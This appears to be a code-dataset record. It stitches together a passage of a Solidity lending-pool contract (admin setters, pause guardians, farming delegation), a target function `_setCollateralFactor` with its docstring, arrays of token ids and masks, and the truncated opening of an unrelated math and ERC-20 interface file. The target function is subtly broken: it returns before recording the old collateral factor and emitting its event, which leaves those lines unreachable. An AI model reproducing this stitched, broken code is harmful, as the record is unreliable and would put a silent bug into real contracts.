failure. (See ErrorReporter for details) */ function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK); } require(newLiquidationIncentiveMantissa >= liquidationIncentiveMinMantissa, "liquidation incentive too small"); require(newLiquidationIncentiveMantissa <= liquidationIncentiveMaxMantissa, "liquidation incentive too large"); // Save current value for use in log uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa; // Set liquidation incentive to new incentive liquidationIncentiveMantissa = newLiquidationIncentiveMantissa; // Emit event with old incentive, new incentive emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa); return uint(Error.NO_ERROR); } /** * @notice Add the market to the markets mapping and set it as listed * @dev Admin function to set isListed and add support for the market * @param mToken The address of the market (token) to list * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _supportMarket(MToken mToken) external returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK); } if (isLendingPool) { require(address(mToken.interestRateModel()) != address(0), "mToken not set interestRateModel"); } // Check is mToken require(MomaFactoryInterface(factory).isMToken(address(mToken)), 'not mToken'); if (markets[address(mToken)].isListed) { return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS); } require(mToken.isMToken(), 'not mToken contract'); // Sanity check to make sure its really a MToken // Note that isMomaed is not in active use anymore // markets[address(mToken)] = Market({isListed: true, isMomaed: false, collateralFactorMantissa: 0}); markets[address(mToken)] = Market({isListed: true, collateralFactorMantissa: 0}); _addMarketInternal(address(mToken)); emit MarketListed(mToken); return uint(Error.NO_ERROR); } function _addMarketInternal(address mToken) internal { for (uint i = 0; i < allMarkets.length; i ++) { require(allMarkets[i] != MToken(mToken), "market already added"); } allMarkets.push(MToken(mToken)); } /** * @notice Set the given borrow caps for the given mToken markets. Borrowing that brings total borrows to or above borrow cap will revert. * @dev Admin or pauseGuardian function to set the borrow caps. A borrow cap of 0 corresponds to unlimited borrowing. * @param mTokens The addresses of the markets (tokens) to change the borrow caps for * @param newBorrowCaps The new borrow cap values in underlying to be set. A value of 0 corresponds to unlimited borrowing. */ function _setMarketBorrowCaps(MToken[] calldata mTokens, uint[] calldata newBorrowCaps) external { require(msg.sender == admin || msg.sender == pauseGuardian, "only admin or pauseGuardian can set borrow caps"); uint numMarkets = mTokens.length; uint numBorrowCaps = newBorrowCaps.length; require(numMarkets != 0 && numMarkets == numBorrowCaps, "invalid input"); for(uint i = 0; i < numMarkets; i++) { borrowCaps[address(mTokens[i])] = newBorrowCaps[i]; emit NewBorrowCap(mTokens[i], newBorrowCaps[i]); } } /** * @notice Admin function to change the Pause Guardian * @param newPauseGuardian The address of the new Pause Guardian * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _setPauseGuardian(address newPauseGuardian) external returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK); } // Save current value for inclusion in log address oldPauseGuardian = pauseGuardian; // Store pauseGuardian with value newPauseGuardian pauseGuardian = newPauseGuardian; // Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian) emit NewPauseGuardian(oldPauseGuardian, pauseGuardian); return uint(Error.NO_ERROR); } function _upgradeLendingPool() external returns (bool) { require(msg.sender == admin, "only admin can upgrade"); // must update oracle first, it succuss or revert, so no need to check again _updatePriceOracle(); // all markets must set interestRateModel for (uint i = 0; i < allMarkets.length; i++) { MToken mToken = allMarkets[i]; require(address(mToken.interestRateModel()) != address(0), "support market not set interestRateModel"); // require(oracle.getUnderlyingPrice(mToken) != 0, "support market not set price"); // let functions check } bool state = MomaFactoryInterface(factory).upgradeLendingPool(); if (state) { require(updateBorrowBlock() == 0, "update borrow block error"); isLendingPool = true; } return state; } function _setMintPaused(MToken mToken, bool state) external returns (bool) { require(markets[address(mToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state, "only admin can unpause"); mintGuardianPaused[address(mToken)] = state; emit ActionPaused(mToken, "Mint", state); return state; } function _setBorrowPaused(MToken mToken, bool state) external returns (bool) { require(markets[address(mToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state, "only admin can unpause"); borrowGuardianPaused[address(mToken)] = state; emit ActionPaused(mToken, "Borrow", state); return state; } function _setTransferPaused(bool state) external returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state, "only admin can unpause"); transferGuardianPaused = state; emit ActionPaused("Transfer", state); return state; } function _setSeizePaused(bool state) external returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state, "only admin can unpause"); seizeGuardianPaused = state; emit ActionPaused("Seize", state); return state; } function _become(MomaPool momaPool) external { require(msg.sender == momaPool.admin(), "only momaPool admin can change brains"); require(momaPool._acceptImplementation() == 0, "change not authorized"); } /** * @notice Checks caller is admin, or this contract is becoming the new implementation */ function adminOrInitializing() internal view returns (bool) { return msg.sender == admin || msg.sender == momaMasterImplementation; } /*** Farming ***/ /** * @notice Update all markets' borrow block for all tokens when pool upgrade to lending pool * @return uint 0=success, otherwise a failure */ function updateBorrowBlock() internal returns (uint) { uint32 blockNumber = safe32(getBlockNumber(), "block number exceeds 32 bits"); for (uint i = 0; i < allTokens.length; i++) { address token = allTokens[i]; uint32 nextBlock = blockNumber; TokenFarmState storage state = farmStates[token]; if (state.startBlock > blockNumber) nextBlock = state.startBlock; // if (state.endBlock < blockNumber) blockNumber = state.endBlock; MToken[] memory mTokens = state.tokenMarkets; for (uint j = 0; j < mTokens.length; j++) { MToken mToken = mTokens[j]; state.borrowState[address(mToken)].block = nextBlock; // if state.speeds[address(mToken)] > 0 ? } } return uint(Error.NO_ERROR); } /** * @notice Accrue tokens and MOMA to the market by updating the supply index * @param mToken The market whose supply index to update */ function updateFarmSupplyIndex(address mToken) internal { updateMomaSupplyIndex(mToken); for (uint i = 0; i < allTokens.length; i++) { address token = allTokens[i]; updateTokenSupplyIndex(token, mToken); } } /** * @notice Accrue tokens and MOMA to the market by updating the supply index * @param mToken The market whose supply index to update * @param marketBorrowIndex The market borrow index */ function updateFarmBorrowIndex(address mToken, uint marketBorrowIndex) internal { updateMomaBorrowIndex(mToken, marketBorrowIndex); for (uint i = 0; i < allTokens.length; i++) { address token = allTokens[i]; updateTokenBorrowIndex(token, mToken, marketBorrowIndex); } } /** * @notice Calculate tokens and MOMA accrued by a supplier * @param mToken The market in which the supplier is interacting * @param supplier The address of the supplier to distribute tokens and MOMA to */ function distributeSupplierFarm(address mToken, address supplier) internal { distributeSupplierMoma(mToken, supplier); for (uint i = 0; i < allTokens.length; i++) { address token = allTokens[i]; distributeSupplierToken(token, mToken, supplier); } } /** * @notice Calculate tokens and MOMA accrued by a borrower * @dev Borrowers will not begin to accrue until after the first interaction with the protocol. * @param mToken The market in which the borrower is interacting * @param borrower The address of the borrower to distribute tokens and MOMA to * @param marketBorrowIndex The market borrow index */ function distributeBorrowerFarm(address mToken, address borrower, uint marketBorrowIndex) internal { distributeBorrowerMoma(mToken, borrower, marketBorrowIndex); for (uint i = 0; i < allTokens.length; i++) { address token = allTokens[i]; distributeBorrowerToken(token, mToken, borrower, marketBorrowIndex); } } /*** Tokens Farming ***/ /** * @notice Accrue token to the market by updating the supply index * @param token The token whose supply index to update * @param mToken The market whose supply index to update */ function updateTokenSupplyIndex(address token, address mToken) internal { delegateToFarming(abi.encodeWithSignature("updateTokenSupplyIndex(address,address)", token, mToken)); } /** * @notice Accrue token to the market by updating the borrow index * @param token The token whose borrow index to update * @param mToken The market whose borrow index to update * @param marketBorrowIndex The market borrow index */ function updateTokenBorrowIndex(address token, address mToken, uint marketBorrowIndex) internal { delegateToFarming(abi.encodeWithSignature("updateTokenBorrowIndex(address,address,uint256)", token, mToken, marketBorrowIndex)); } /** * @notice Calculate token accrued by a supplier * @param token The token in which the supplier is interacting * @param mToken The market in which the supplier is interacting * @param supplier The address of the supplier to distribute token to */ function distributeSupplierToken(address token, address mToken, address supplier) internal { delegateToFarming(abi.encodeWithSignature("distributeSupplierToken(address,address,address)", token, mToken, supplier)); } /** * @notice Calculate token accrued by a borrower * @dev Borrowers will not begin to accrue until after the first interaction with the protocol. * @param mToken The market in which the borrower is interacting * @param borrower The address of the borrower to distribute token to * @param marketBorrowIndex The market borrow index */ function distributeBorrowerToken(address token, address mToken, address borrower, uint marketBorrowIndex) internal { delegateToFarming(abi.encodeWithSignature("distributeBorrowerToken(address,address,address,uint256)", token, mToken, borrower, marketBorrowIndex)); } /*** Reward Public Functions ***/ /** * @notice Distribute all the token accrued to user in specified markets of specified token and claim * @param token The token to distribute * @param mTokens The list of markets to distribute token in * @param suppliers Whether or not to distribute token earned by supplying * @param borrowers Whether or not to distribute token earned by borrowing */ function dclaim(address token, MToken[] memory mTokens, bool suppliers, bool borrowers) public { delegateToFarming(abi.encodeWithSignature("dclaim(address,address[],bool,bool)", token, mTokens, suppliers, borrowers)); } /** * @notice Distribute all the token accrued to user in all markets of specified token and claim * @param token The token to distribute * @param suppliers Whether or not to distribute token earned by supplying * @param borrowers Whether or not to distribute token earned by borrowing */ function dclaim(address token, bool suppliers, bool borrowers) external { delegateToFarming(abi.encodeWithSignature("dclaim(address,bool,bool)", token, suppliers, borrowers)); } /** * @notice Distribute all the token accrued to user in all markets of specified tokens and claim * @param tokens The list of tokens to distribute and claim * @param suppliers Whether or not to distribute token earned by supplying * @param borrowers Whether or not to distribute token earned by borrowing */ function dclaim(address[] memory tokens, bool suppliers, bool borrowers) public { delegateToFarming(abi.encodeWithSignature("dclaim(address[],bool,bool)", tokens, suppliers, borrowers)); } /** * @notice Distribute all the token accrued to user in all markets of all tokens and claim * @param suppliers Whether or not to distribute token earned by supplying * @param borrowers Whether or not to distribute token earned by borrowing */ function dclaim(bool suppliers, bool borrowers) external { delegateToFarming(abi.encodeWithSignature("dclaim(bool,bool)", suppliers, borrowers)); } /** * @notice Claim all the token have been distributed to user of specified token * @param token The token to claim */ function claim(address token) external { delegateToFarming(abi.encodeWithSignature("claim(address)", token)); } /** * @notice Claim all the token have been distributed to user of all tokens */ function claim() external { delegateToFarming(abi.encodeWithSignature("claim()")); } /** * @notice Calculate undistributed token accrued by the user in specified market of specified token * @param user The address to calculate token for * @param token The token to calculate * @param mToken The market to calculate token * @param suppliers Whether or not to calculate token earned by supplying * @param borrowers Whether or not to calculate token earned by borrowing * @return The amount of undistributed token of this user */ function undistributed(address user, address token, address mToken, bool suppliers, bool borrowers) public view returns (uint) { bytes memory data = delegateToFarmingView(abi.encodeWithSignature("undistributed(address,address,address,bool,bool)", user, token, mToken, suppliers, borrowers)); return abi.decode(data, (uint)); } /** * @notice Calculate undistributed tokens accrued by the user in all markets of specified token * @param user The address to calculate token for * @param token The token to calculate * @param suppliers Whether or not to calculate token earned by supplying * @param borrowers Whether or not to calculate token earned by borrowing * @return The amount of undistributed token of this user in each market */ function undistributed(address user, address token, bool suppliers, bool borrowers) public view returns (uint[] memory) { bytes memory data = delegateToFarmingView(abi.encodeWithSignature("undistributed(address,address,bool,bool)", user, token, suppliers, borrowers)); return abi.decode(data, (uint[])); } /*** Token Distribution Admin ***/ /** * @notice Transfer token to the recipient * @dev Note: If there is not enough token, we do not perform the transfer all. * @param token The token to transfer * @param recipient The address of the recipient to transfer token to * @param amount The amount of token to (possibly) transfer */ function _grantToken(address token, address recipient, uint amount) external { delegateToFarming(abi.encodeWithSignature("_grantToken(address,address,uint256)", token, recipient, amount)); } /** * @notice Admin function to add/update erc20 token farming * @dev Can only add token or restart this token farm again after endBlock * @param token Token to add/update for farming * @param start Block heiht to start to farm this token * @param end Block heiht to stop farming * @return uint 0=success, otherwise a failure */ function _setTokenFarm(EIP20Interface token, uint start, uint end) external returns (uint) { bytes memory data = delegateToFarming(abi.encodeWithSignature("_setTokenFarm(address,uint256,uint256)", token, start, end)); return abi.decode(data, (uint)); } /** * @notice Set token speed for multi markets * @dev Note that token speed could be set to 0 to halt liquidity rewards for a market * @param token The token to update speed * @param mTokens The markets whose token speed to update * @param newSpeeds New token speeds for markets */ function _setTokensSpeed(address token, MToken[] memory mTokens, uint[] memory newSpeeds) public { delegateToFarming(abi.encodeWithSignature("_setTokensSpeed(address,address[],uint256[])", token, mTokens, newSpeeds)); } /*** MOMA Farming ***/ /** * @notice Accrue MOMA to the market by updating the supply index * @param mToken The market whose supply index to update */ function updateMomaSupplyIndex(address mToken) internal { IMomaFarming(currentMomaFarming()).updateMarketSupplyState(mToken); } /** * @notice Accrue MOMA to the market by updating the borrow index * @param mToken The market whose borrow index to update * @param marketBorrowIndex The market borrow index */ function updateMomaBorrowIndex(address mToken, uint marketBorrowIndex) internal { IMomaFarming(currentMomaFarming()).updateMarketBorrowState(mToken, marketBorrowIndex); } /** * @notice Calculate MOMA accrued by a supplier * @param mToken The market in which the supplier is interacting * @param supplier The address of the supplier to distribute MOMA to */ function distributeSupplierMoma(address mToken, address supplier) internal { IMomaFarming(currentMomaFarming()).distributeSupplierMoma(mToken, supplier); } /** * @notice Calculate MOMA accrued by a borrower * @dev Borrowers will not begin to accrue until after the first interaction with the protocol. * @param mToken The market in which the borrower is interacting * @param borrower The address of the borrower to distribute MOMA to * @param marketBorrowIndex The market borrow index */ function distributeBorrowerMoma(address mToken, address borrower, uint marketBorrowIndex) internal { IMomaFarming(currentMomaFarming()).distributeBorrowerMoma(mToken, borrower, marketBorrowIndex); } /*** View functions ***/ /** * @notice Return all of the support tokens * @dev The automatic getter may be used to access an individual token. * @return The list of market addresses */ function getAllTokens() external view returns (address[] memory) { return allTokens; } /** * @notice Weather a token is farming * @param token The token address to ask for * @param market Which market * @return Wether this market farm the token currently */ function isFarming(address token, address market) external view returns (bool) { uint blockNumber = getBlockNumber(); TokenFarmState storage state = farmStates[token]; return state.speeds[market] > 0 && blockNumber > uint(state.startBlock) && blockNumber <= uint(state.endBlock); } /** * @notice Get the market speed for a token * @param token The token address to ask for * @param market Which market * @return The market farm speed of this token currently */ function getTokenMarketSpeed(address token, address market) external view returns (uint) { return farmStates[token].speeds[market]; } /** * @notice Get the accrued amount of this token farming for a user * @param token The token address to ask for * @param user The user address to ask for * @return The accrued amount of this token farming for a user */ function getTokenUserAccrued(address token, address user) external view returns (uint) { return farmStates[token].accrued[user]; } /** * @notice Weather a market is this token market * @param token The token address to ask for * @param market The market address to ask for * @return true of false */ function isTokenMarket(address token, address market) external view returns (bool) { return farmStates[token].isTokenMarket[market]; } /** * @notice Return all the farming support markets of a token * @param token The token address to ask for * @return The list of market addresses */ function getTokenMarkets(address token) external view returns (MToken[] memory) { return farmStates[token].tokenMarkets; } /** * @notice Return all of the markets * @dev The automatic getter may be used to access an individual market. * @return The list of market addresses */ function getAllMarkets() external view returns (MToken[] memory) { return allMarkets; } function getBlockNumber() public view returns (uint) { return block.number; } /*** Delegate ***/ /** * @notice Get current moma farming contract * @return The contract address */ function currentMomaFarming() public view returns (address) { return MomaFactoryInterface(factory).momaFarming(); } /** * @notice Get current farming contract * @return The contract address */ function currentFarmingDelegate() public view returns (address) { return MomaFactoryInterface(factory).farmingDelegate(); } /** * @notice Internal method to delegate execution to farming contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToFarming(bytes memory data) internal returns (bytes memory) { address callee = currentFarmingDelegate(); (bool success, bytes memory returnData) = callee.delegatecall(data); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return returnData; } /** * @notice Public method to delegate view execution to farming contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToFarmingSelf(bytes memory data) public returns (bytes memory) { require(msg.sender == address(this), "can only called by self"); return delegateToFarming(data); } /** * @notice Internal method to delegate view execution to farming contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop. * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToFarmingView(bytes memory data) internal view returns (bytes memory) { (bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToFarmingSelf(bytes)", data)); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return abi.decode(returnData, (bytes)); } } interface IMomaFarming { function updateMarketSupplyState(address mToken) external; function updateMarketBorrowState(address mToken, uint marketBorrowIndex) external; function distributeSupplierMoma(address mToken, address supplier) external; function distributeBorrowerMoma(address mToken, address borrower, uint marketBorrowIndex) external; function upgradeLendingPool(address pool) external; function isMomaFarming() external view returns (bool); }
* @notice Sets the collateralFactor for a market @dev Admin function to set per-market collateralFactor @param mToken The market to set the factor on @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18 @return uint 0=success, otherwise a failure. (See ErrorReporter for details)/ Check caller is admin
function _setCollateralFactor(MToken mToken, uint newCollateralFactorMantissa) external returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK); } Market storage market = markets[address(mToken)]; if (!market.isListed) { return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS); } Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa}); Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa}); if (lessThanExp(highLimit, newCollateralFactorExp)) { return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION); } if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(mToken) == 0) { return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE); } market.collateralFactorMantissa = newCollateralFactorMantissa; return uint(Error.NO_ERROR); uint oldCollateralFactorMantissa = market.collateralFactorMantissa; emit NewCollateralFactor(mToken, oldCollateralFactorMantissa, newCollateralFactorMantissa); }
12,663,194
[ 1, 2785, 326, 4508, 2045, 287, 6837, 364, 279, 13667, 225, 7807, 445, 358, 444, 1534, 17, 27151, 4508, 2045, 287, 6837, 225, 312, 1345, 1021, 13667, 358, 444, 326, 5578, 603, 225, 394, 13535, 2045, 287, 6837, 49, 970, 21269, 1021, 394, 4508, 2045, 287, 5578, 16, 12304, 635, 404, 73, 2643, 327, 2254, 374, 33, 4768, 16, 3541, 279, 5166, 18, 261, 9704, 1068, 13289, 364, 3189, 13176, 2073, 4894, 353, 3981, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 542, 13535, 2045, 287, 6837, 12, 49, 1345, 312, 1345, 16, 2254, 394, 13535, 2045, 287, 6837, 49, 970, 21269, 13, 3903, 1135, 261, 11890, 13, 288, 203, 3639, 309, 261, 3576, 18, 15330, 480, 3981, 13, 288, 203, 5411, 327, 2321, 12, 668, 18, 2124, 28383, 16, 13436, 966, 18, 4043, 67, 4935, 12190, 654, 1013, 67, 26835, 67, 29602, 67, 10687, 1769, 203, 3639, 289, 203, 203, 3639, 6622, 278, 2502, 13667, 273, 2267, 2413, 63, 2867, 12, 81, 1345, 13, 15533, 203, 3639, 309, 16051, 27151, 18, 291, 682, 329, 13, 288, 203, 5411, 327, 2321, 12, 668, 18, 12693, 1584, 67, 4400, 67, 7085, 2056, 16, 13436, 966, 18, 4043, 67, 4935, 12190, 654, 1013, 67, 26835, 67, 3417, 67, 21205, 1769, 203, 3639, 289, 203, 203, 203, 3639, 7784, 3778, 394, 13535, 2045, 287, 6837, 2966, 273, 7784, 12590, 81, 970, 21269, 30, 394, 13535, 2045, 287, 6837, 49, 970, 21269, 22938, 203, 3639, 7784, 3778, 3551, 3039, 273, 7784, 12590, 81, 970, 21269, 30, 4508, 2045, 287, 6837, 2747, 49, 970, 21269, 22938, 203, 3639, 309, 261, 2656, 9516, 2966, 12, 8766, 3039, 16, 394, 13535, 2045, 287, 6837, 2966, 3719, 288, 203, 5411, 327, 2321, 12, 668, 18, 9347, 67, 4935, 12190, 654, 1013, 67, 26835, 16, 13436, 966, 18, 4043, 67, 4935, 12190, 654, 1013, 67, 26835, 67, 5063, 2689, 1769, 203, 3639, 289, 203, 203, 3639, 309, 261, 2704, 13535, 2045, 287, 6837, 49, 970, 21269, 480, 374, 597, 20865, 18, 588, 2 ]
pragma solidity 0.5.16; pragma experimental ABIEncoderV2; contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } interface EIP20Interface { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external returns (bool success); /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool success); /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } contract WanttrollerErrorReporter { enum Error { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW, UNAUTHORIZED } enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK, SET_PENDING_ADMIN_OWNER_CHECK, SET_PAUSE_GUARDIAN_OWNER_CHECK, SET_IMPLEMENTATION_OWNER_CHECK, SET_PENDING_IMPLEMENTATION_OWNER_CHECK } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); 